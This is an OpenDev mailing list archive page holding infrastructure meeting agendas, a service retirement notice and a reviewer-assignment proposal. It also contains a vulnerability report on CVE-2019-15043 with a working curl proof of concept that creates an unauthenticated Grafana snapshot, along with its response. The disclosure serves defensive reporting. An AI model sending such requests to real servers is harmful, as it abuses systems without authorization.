- service-discuss - lists.opendev.org

Team Meeting Agenda for March 30, 2021
by Clark Boylan 29 Mar '21

29 Mar '21

We will meet with this agenda March 30, 2021 in #opendev at 19:00UTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210330) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Scheduler and Zookeeper cluster remaining. Will focus on ZK first. ** Deploy a new refstack.openstack.org server (ianw 20210330) *** https://review.opendev.org/c/opendev/system-config/+/781593 ** PTG Planning (ianw 20210330) *** Next PTG April 19-23 *** Clarkb filled out the survey and requested a few hours for us. Likely to be spent in more office hours type setup. **** Thursday April 22 1400-1600UTC and 2200-0000UTC ** docs-old volume cleanup (ianw 20210330) *** anyone think this is necessary? *** docs-dev? ** planet.openstack.org (ianw 20210330) *** there is no maintained aggregators any more *** stick current venus/planet in a python 2.7 container and forget about it *** retire it ** tarballs ORD replication (ianw 20210330) *** only things across regions are docs & airship *** tarballs is probably the only other thing worth having a out-of-region copy for *** https://etherpad.opendev.org/p/gjzssFmxw48Nn3_SBVo6 * Open discussion

1 0

Retirement of the Openstack/Opendev Asterisk service
by Ian Wienand 23 Mar '21

23 Mar '21

Hello, As part of ongoing service upgrades, we are proposing the retirement of the Asterisk-based SIP/voice conferencing tool [1]. The meetpad instance at https://meetpad.opendev.org/ has proven popular for recent events and provides better services for collaborative meetings. Please reach out if this service is important to you. If it is something you would like to maintain, it will require porting to our current Ansible and container-based infrastructure (there will be plenty of admins happy to help guide you). Otherwise we'll propose changes to remove the configuration soon. Thanks, -i [1] https://docs.opendev.org/opendev/system-config/latest/asterisk.html

1 0

Team Meeting Agenda for March 23, 2021
by Ian Wienand 22 Mar '21

22 Mar '21

We will meet on March 16, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210316) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers, executors and launchers done. Only remaining is scheduler? ** Deploy a new refstack.openstack.org server (ianw 20210323) *** https://review.opendev.org/c/opendev/system-config/+/781593 ** PTG Planning (ianw 20210323) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). * Open discussion

1 0

Team Meeting Agenda for March 16, 2021
by Clark Boylan 15 Mar '21

15 Mar '21

We will meet on March 16, 2021 at 19:00 UTC (note DST changes if you live in North America) in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Clarkb out March 23. Ianw has volunteered to chair the meeting on the 23rd. ** DST change has happened in North America. EU and others follow in a few weeks. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210316) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers and executors done. Nodepool launchers in progress now. *** Ianw working on kerberos server updates. ** Deploy a new refstack.openstack.org server (kopecmartin 20210316) *** Ready for testing? ** PTG Planning (clarkb 20210316) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). ** review server upgrade (ianw 20210316) *** Initial spec https://review.opendev.org/c/opendev/infra-specs/+/780478 * Open discussion

1 0

Team Meeting Agenda for March 9, 2021
by Clark Boylan 08 Mar '21

08 Mar '21

We will meet March 9, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Clarkb out March 23. Will need volunteer to run the meeting or we can skip it. ** DST change happens for those of us in North America this weekend. EU and others follow in a few weeks. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Identify accounts that cannot be used because they have no valid method of login (no username, and no openids) ***** Identify accounts that are unlikely to be used anymore based on activity and more forcefully retire those to fix these errors. (We can always undo specific updates to these accounts if necessary) ***** Work with remaining accounts to figure out how to best resolve the account conflicts. This may take some time. ***** https://review.opendev.org/c/opendev/system-config/+/777846 Collecting scripting efforts here ***** Inactive accounts have been cleaned up. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210309) *** Upgrading servers to Bionic then Focal next. *** New third db server for proper quorum. ** Bup and Borg Backups (clarkb 20210309) *** gitea sql db backup issues. ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210309) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers and executors largely done. Next up Nodepool launchers. ** Deploy a new refstack.openstack.org server (kopecmartin 20210309) *** Ready for testing? ** Bridge disk space (clarkb 20210309) *** This is related to stevedore caching entrypoints *** We have upgraded stevedore and set config to prevent it from creating new cache files. ** PTG Planning (clarkb 20210309) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). * Open discussion

1 0

Can some projects configure auto addition of reviewers to changes?
by Sorin Sbarnea 05 Mar '21

05 Mar '21

As I observed that proposed changes can easily be ignored for months if the original submitter did not manually added anyone or missed to do the footwork of chasing cores on irc, I wonder if it would not be possible for *some* projects to enable a feature to auto-add reviewers. On the dark side of the world I seen the "codeowners <https://docs.github.com/en/github/creating-cloning-and-archiving-repositori…>" features being quite successful in assigning reviewers, as a simple file can define the pool of potential reviewers. Based on how the repository is configured it does randomly pick a limited number of candidates. Github mentions in their release notes from 2017 that their inspiration for that feature was the OWNERS file used by chromium team (gerrit users). I also seen that Wikimedia experimented something <https://phabricator.wikimedia.org/phame/live/1/post/139/gerrit_now_automati…> in that area, apparently there is a wiki page where people can mark them as available to be picked. The watched project feature in Gerrit is useless for this purpose as it does not randomly pick some of a pool of possible candidates. It may be practical to use if there are projects with only 2-3 core reviewers. There are two aspects I am looking to address, at least partially: A) Improve random external contributors first-contribution experience - right now, even if they propose a perfectly valid change, there is high chance it will not get noticed. As you can imagine this lowers the chance they would try again, or to become an active contributor. B) Spread the review burden on cores and avoid "punishing" those that are more active from being assaulted by review requests. The current secret source for getting reviews on a project where you do not know anyone involves looking at recent changes to spot people that did reviews or at least have core powers and try to contact those. Even if this works or not, it puts extra pressure on active people. That is why I would see an automatic round-robin approach more appropriate. As some may no longer be involved with the project, this could prove to be an opportunity to revise the core list, or to gently remove yourself from the list of cores. C) How to deter people from adding reviewers before CI jobs report green? I have no idea how to educate people not to add reviewers to changes that are not yet green. I know there are valid cases where this is needed, but likely is more like on less than one 1:5. As no hard limit would work, maybe there is a way to display some kind of message in the UI, advising user not to assign reviewers until CI reports green. The same issue applies even to automatic reviewer assignment, which should not happen right after a review is created. Ideally this should happen when it passed CI, but it could also be ok if it would happen when a review is moved from WIP to ready-for-review. I personally use a default where any change I create is marked as WIP and this default can also be changed at server level if we want. -- /zbr

3 2

Meeting Agenda for March 2, 2021
by Clark Boylan 01 Mar '21

01 Mar '21

We will meet on March 2, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Identify accounts that are inactive and can be more forcefully retired. Retire these to fix those errors. ***** Identify accounts that are unlikely to be used anymore based on activity and more forcefully retire those to fix these errors. (We can always undo specific updates to these accounts if necessary) ***** Work with remaining accounts to figure out how to best resolve the account conflicts. This may take some time. ***** https://review.opendev.org/c/opendev/system-config/+/777846 Collecting scripting efforts here *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210302) *** Upgrading servers to Bionic then Focal next. *** New third db server for proper quorum. ** Bup and Borg Backups (clarkb 20210302) *** gitea sql db backup issues. ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210302) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers are done. Executors in progress. ** Deploy a new refstack.openstack.org server (kopecmartin 20210302) *** Ready for testing? ** Bridge disk space (clarkb 20210302) *** This appears at least partially related to ansible and python caching. Should we just clear those caches then profile them? * Open discussion

1 0

Critical Vulnerability Report
by Divya Singh 28 Feb '21

28 Feb '21

HEY SECURITY TEAM, I'm Security Researcher I have found a critical vulnerability at one of your domain that is cve-2019-15043 which can led to DDOS attack and can make system go down by grafana snapshot instance Vuln url: https://grafana.opendev.org/api/snapshots <https://grafana.quiknode.io/api/snapshots> POC: root@kali:/home/kali# curl -s XPOST https://grafana.opendev.org/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp { "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm", "deleteUrl" : " http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm ", "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO", "url" : " http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO" } for more reference - https://aaron-hoffmann.com/blog/cve-2019-15043/ Fix it to latest grafana instance Best Regards, Divya Singh - @Dgirlwhohacks

3 7

Meeting Agenda for February 23, 2021
by Clark Boylan 22 Feb '21

22 Feb '21

We will meet with this agenda on February 23, 2021, at 19:00UTC in #opendev-meeting. == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Fungi suggests we simply identify the active accounts then retire the rest for simplicity and speed. Clarkb likes this idea. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210223) *** Upgrading servers to Bionic then Focal next. ** Bup and Borg Backups (clarkb 20210223) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210223) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. ** Deploy a new refstack.openstack.org server (kopecmartin 20210223) *** Ready for testing? ** Bridge disk space (clarkb 20210223) *** Our ansible logging is consuming a fair bit but user homedirs and /opt are other major consumers. * Open discussion

1 0

Meeting Agenda for February 16, 2021
by Clark Boylan 16 Feb '21

16 Feb '21

Hello, we will meet February 16, 2021 at 19:00UTC in #opendev-meeting on freenode with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/775287 **** https://review.opendev.org/c/opendev/system-config/+/773807 *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210216) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210216) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210216) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here ** Deploy a new refstack.openstack.org server (kopecmartin 20210216) *** Ready for testing? ** opendev.org not reachable via IPv6 from some ISPs (frickler 20210215) *** Caused by missing/inconsistent IRR records for the networks that vexxhost uses *** Pinged mnaser a couple of times but no progress so far *** Added here for increased visibility and tracking * Open discussion Sorry for the delay in sending this out. I had meant to get it out yesterday and had even prepped it to go out but then got distracted by some server updates and this was forgotten.

1 0